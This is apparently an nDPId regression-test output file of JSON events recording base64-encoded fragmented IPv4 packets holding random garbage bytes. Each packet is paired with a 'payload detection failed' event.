+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826754,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826763,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826773,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826786,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826796,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826804,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826814,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826835,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826854,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826863,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826884,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826893,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826902,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826921,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826930,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826949,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826960,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826981,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826990,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826999,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827009,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827018,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827027,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827036,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827051,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827060,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827079,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827090,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827100,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827121,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827130,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827148,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 